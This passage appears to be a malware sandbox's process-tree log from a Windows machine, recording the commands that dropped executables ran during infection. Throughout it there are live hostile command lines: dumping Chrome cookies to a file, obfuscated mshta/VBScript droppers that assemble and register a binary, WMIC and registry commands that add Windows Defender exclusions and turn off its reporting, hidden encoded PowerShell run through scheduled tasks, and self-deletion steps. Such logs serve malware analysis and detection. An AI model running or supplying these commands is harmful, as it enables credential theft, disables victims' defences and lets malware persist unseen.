C:\Users\Admin\AppData\Local\Temp\vixthx0y.sqi\siww1045.exeC:\Users\Admin\AppData\Local\Temp\vixthx0y.sqi\siww1045.exe7⤵PID:10012
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:8864
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:3588
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bp4emzqf.3pb\toolspab3.exe & exit6⤵PID:9480
-
C:\Users\Admin\AppData\Local\Temp\bp4emzqf.3pb\toolspab3.exeC:\Users\Admin\AppData\Local\Temp\bp4emzqf.3pb\toolspab3.exe7⤵PID:7212
-
C:\Users\Admin\AppData\Local\Temp\bp4emzqf.3pb\toolspab3.exeC:\Users\Admin\AppData\Local\Temp\bp4emzqf.3pb\toolspab3.exe8⤵PID:7060
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yodi0nso.nv5\autosubplayer.exe /S & exit6⤵PID:10000
-
-
-
C:\Users\Admin\AppData\Local\Temp\EVIJUXGXFA\foldershare.exe"C:\Users\Admin\AppData\Local\Temp\EVIJUXGXFA\foldershare.exe" /VERYSILENT5⤵PID:7928
-
C:\Users\Admin\AppData\Local\Temp\is-OR1HQ.tmp\foldershare.tmp"C:\Users\Admin\AppData\Local\Temp\is-OR1HQ.tmp\foldershare.tmp" /SL5="$E03B2,449421,422400,C:\Users\Admin\AppData\Local\Temp\EVIJUXGXFA\foldershare.exe" /VERYSILENT6⤵PID:4648
-
C:\Program Files (x86)\FolderShare\FolderShare.exe"C:\Program Files (x86)\FolderShare\FolderShare.exe" -silent -desktopShortcut -programMenu7⤵PID:7188
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\k5diME33rCvy2DWS6bjmPaOn.exe"C:\Users\Admin\Pictures\Adobe Films\k5diME33rCvy2DWS6bjmPaOn.exe"2⤵PID:6304
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im k5diME33rCvy2DWS6bjmPaOn.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\k5diME33rCvy2DWS6bjmPaOn.exe" & del C:\ProgramData\*.dll & exit3⤵PID:3812
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im k5diME33rCvy2DWS6bjmPaOn.exe /f4⤵
- Kills process with taskkill
PID:9200
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\rnsIZhcDY6BKZWhvvBKiRDpD.exe"C:\Users\Admin\Pictures\Adobe Films\rnsIZhcDY6BKZWhvvBKiRDpD.exe"2⤵PID:4416
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"3⤵PID:3864
-
-
C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"3⤵PID:3608
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵PID:3720
-
-
-
C:\Program Files (x86)\Company\NewProduct\inst2.exe"C:\Program Files (x86)\Company\NewProduct\inst2.exe"3⤵PID:68
-
-
-
C:\Users\Admin\Pictures\Adobe Films\8_J938IRyQbWUFzH6dcsly6P.exe"C:\Users\Admin\Pictures\Adobe Films\8_J938IRyQbWUFzH6dcsly6P.exe"2⤵PID:2792
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"3⤵PID:4120
-
-
-
C:\Users\Admin\Pictures\Adobe Films\bxyCyazEHh9ZPBaNyj5Wl4S6.exe"C:\Users\Admin\Pictures\Adobe Films\bxyCyazEHh9ZPBaNyj5Wl4S6.exe"2⤵PID:5672
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: cLose (CREatEObJECT ("wSCripT.sHeLl" ).Run ("C:\Windows\system32\cmd.exe /q /r TyPE ""C:\Users\Admin\Pictures\Adobe Films\bxyCyazEHh9ZPBaNyj5Wl4S6.exe"" > ..\ZCJQBxDe1bLl.exE && staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If """"== """" for %e In (""C:\Users\Admin\Pictures\Adobe Films\bxyCyazEHh9ZPBaNyj5Wl4S6.exe"" ) do taskkill /iM ""%~Nxe"" -f ",0 , TrUe ) )3⤵PID:4788
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /r TyPE "C:\Users\Admin\Pictures\Adobe Films\bxyCyazEHh9ZPBaNyj5Wl4S6.exe"> ..\ZCJQBxDe1bLl.exE &&staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If ""== "" for %e In ("C:\Users\Admin\Pictures\Adobe Films\bxyCyazEHh9ZPBaNyj5Wl4S6.exe" ) do taskkill /iM "%~Nxe" -f4⤵PID:7548
-
C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe5⤵PID:7604
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: cLose (CREatEObJECT ("wSCripT.sHeLl" ).Run ("C:\Windows\system32\cmd.exe /q /r TyPE ""C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE"" > ..\ZCJQBxDe1bLl.exE && staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If ""/pVxJDYWtOoH4fPZQYK~Ihe ""== """" for %e In (""C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE"" ) do taskkill /iM ""%~Nxe"" -f ",0 , TrUe ) )6⤵PID:5180
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /r TyPE "C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE"> ..\ZCJQBxDe1bLl.exE &&staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If "/pVxJDYWtOoH4fPZQYK~Ihe "== "" for %e In ("C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE" ) do taskkill /iM "%~Nxe" -f7⤵PID:8776
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCriPT: ClOse (CREaTeobJeCT ( "wsCrIpT.Shell" ).RUN ( "Cmd.eXe /c eChO | seT /p = ""MZ"" >fA3I62.O & cOpY /b /Y FA3I62.O + FMY2PsP._ + HV5RuF.CFI + WaNM9P.nA + DTVELmQU.bP +U7t6Z.AN + GcWoGDrW.N ..\bYEG.AAu& staRT odbcconf -A { regSVR ..\BYEG.AAU } & del /Q * " ,0,TRue ) )6⤵PID:8980
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c eChO | seT /p = "MZ" >fA3I62.O& cOpY /b /Y FA3I62.O +FMY2PsP._ +HV5RuF.CFI+ WaNM9P.nA +DTVELmQU.bP+U7t6Z.AN + GcWoGDrW.N ..\bYEG.AAu& staRT odbcconf -A { regSVR ..\BYEG.AAU } & del /Q *7⤵PID:10220
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eChO "8⤵PID:8288
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>fA3I62.O"8⤵PID:3668
-
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf -A { regSVR ..\BYEG.AAU }8⤵PID:10600
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "bxyCyazEHh9ZPBaNyj5Wl4S6.exe" -f5⤵
- Kills process with taskkill
PID:4052
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\hTu3Z0Jty3kRnhOfpcO8Oaqf.exe"C:\Users\Admin\Pictures\Adobe Films\hTu3Z0Jty3kRnhOfpcO8Oaqf.exe"2⤵PID:3036
-
-
C:\Users\Admin\Pictures\Adobe Films\qxhCeZFVCeFY214pAZOmV1Nt.exe"C:\Users\Admin\Pictures\Adobe Films\qxhCeZFVCeFY214pAZOmV1Nt.exe"2⤵PID:4136
-
-
C:\Users\Admin\Pictures\Adobe Films\OaRl3IZeiM3ekVgg_i8GMVHy.exe"C:\Users\Admin\Pictures\Adobe Films\OaRl3IZeiM3ekVgg_i8GMVHy.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:5612 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵PID:6200
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
PID:6376
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:5276
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1716 /prefetch:84⤵PID:3528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1668 /prefetch:24⤵PID:7088
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2648 /prefetch:14⤵PID:5200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2636 /prefetch:14⤵PID:6608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2224 /prefetch:84⤵PID:6844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:14⤵PID:4992
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:14⤵PID:3448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5368 /prefetch:84⤵PID:2316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5220 /prefetch:84⤵PID:4868
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5188 /prefetch:84⤵PID:5528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5604 /prefetch:84⤵PID:2376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2424 /prefetch:84⤵PID:7680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5024 /prefetch:84⤵PID:5084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1600 /prefetch:84⤵PID:3536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1656,17636170740777591536,7573218358233548154,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3132 /prefetch:24⤵PID:9052
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\SI_ZkqZppA6nSGRqvtLitpMP.exe"C:\Users\Admin\Pictures\Adobe Films\SI_ZkqZppA6nSGRqvtLitpMP.exe"2⤵PID:4176
-
-
C:\Users\Admin\Pictures\Adobe Films\R0XUuxCV900Rnj7hvH8hRw_c.exe"C:\Users\Admin\Pictures\Adobe Films\R0XUuxCV900Rnj7hvH8hRw_c.exe"2⤵PID:7080
-
-
C:\Users\Admin\Pictures\Adobe Films\Czs9HxbKCtt9sxJkzMIRYGxS.exe"C:\Users\Admin\Pictures\Adobe Films\Czs9HxbKCtt9sxJkzMIRYGxS.exe"2⤵PID:4984
-
-
C:\Users\Admin\Pictures\Adobe Films\0EiTZrXJEgEiXxg6O2DHgUqR.exe"C:\Users\Admin\Pictures\Adobe Films\0EiTZrXJEgEiXxg6O2DHgUqR.exe"2⤵PID:5820
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 6643⤵
- Program crash
PID:5324
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 6803⤵
- Program crash
PID:6696
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 6883⤵
- Program crash
PID:2376
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 6643⤵
- Program crash
PID:6696
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 10763⤵
- Program crash
PID:2192
-
-
-
C:\Users\Admin\Pictures\Adobe Films\UuKs4crtvfiMLBBtVoHtz8Qo.exe"C:\Users\Admin\Pictures\Adobe Films\UuKs4crtvfiMLBBtVoHtz8Qo.exe"2⤵PID:6068
-
-
C:\Users\Admin\Pictures\Adobe Films\ZQbI5bEcd_wWfsDlCZOvjIiw.exe"C:\Users\Admin\Pictures\Adobe Films\ZQbI5bEcd_wWfsDlCZOvjIiw.exe"2⤵PID:2892
-
C:\Users\Admin\AppData\Local\Temp\7zS3BF5.tmp\Install.exe.\Install.exe3⤵PID:6836
-
C:\Users\Admin\AppData\Local\Temp\7zS7FF4.tmp\Install.exe.\Install.exe /S /site_id "525403"4⤵PID:504
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &5⤵PID:6328
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"6⤵PID:5124
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True7⤵PID:5368
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True8⤵PID:4624
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True9⤵PID:9012
-
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"5⤵PID:7844
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&6⤵PID:6684
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:327⤵PID:8052
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:647⤵PID:5096
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"5⤵PID:7936
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&6⤵PID:8176
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:327⤵PID:6812
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:647⤵PID:7880
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gddqNVNsU" /SC once /ST 01:27:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="5⤵
- Creates scheduled task(s)
PID:3556
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gddqNVNsU"5⤵PID:7352
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gddqNVNsU"5⤵PID:4376
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "brIuwqybiEKAwdpiwj" /SC once /ST 03:52:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\WUUWFJqnKFeOpXCaR\eeNammEZxjaGeaJ\Jousgai.exe\" AP /site_id 525403 /S" /V1 /F5⤵
- Creates scheduled task(s)
PID:5280
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "brIuwqybiEKAwdpiwj"5⤵PID:7436
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\QKhTmXFTLCD4lW9ciiarqDJL.exe"C:\Users\Admin\Pictures\Adobe Films\QKhTmXFTLCD4lW9ciiarqDJL.exe"2⤵PID:768
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im QKhTmXFTLCD4lW9ciiarqDJL.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\QKhTmXFTLCD4lW9ciiarqDJL.exe" & del C:\ProgramData\*.dll & exit3⤵PID:3736
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im QKhTmXFTLCD4lW9ciiarqDJL.exe /f4⤵
- Kills process with taskkill
PID:5112
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\CIqZbpQF2HGP8dnsBLBvftCE.exe"C:\Users\Admin\Pictures\Adobe Films\CIqZbpQF2HGP8dnsBLBvftCE.exe"2⤵PID:7052
-
C:\Users\Admin\AppData\Local\Temp\GGIpMAq3xz4EW\EasyCalc License Agreement.exe"C:\Users\Admin\AppData\Local\Temp\GGIpMAq3xz4EW\EasyCalc License Agreement.exe"3⤵PID:7436
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" "--CbvoxHdtL"4⤵PID:9616
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exeC:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\EasyCalc\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" --annotation=plat=Win64 --annotation=prod=EasyCalc --annotation=ver=0.0.13 --initial-client-data=0x210,0x214,0x218,0x1ec,0x21c,0x7ff893f4dec0,0x7ff893f4ded0,0x7ff893f4dee05⤵PID:9476
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exeC:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\EasyCalc\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\EasyCalc\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=EasyCalc --annotation=ver=0.0.13 --initial-client-data=0x150,0x154,0x158,0x12c,0x15c,0x7ff7293f9e70,0x7ff7293f9e80,0x7ff7293f9e906⤵PID:8596
-
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=1628 /prefetch:85⤵PID:8516
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=gpu-process --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1704 /prefetch:25⤵PID:8680
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=2080 /prefetch:85⤵PID:656
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\EasyCalc\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2596 /prefetch:15⤵PID:6712
-
-
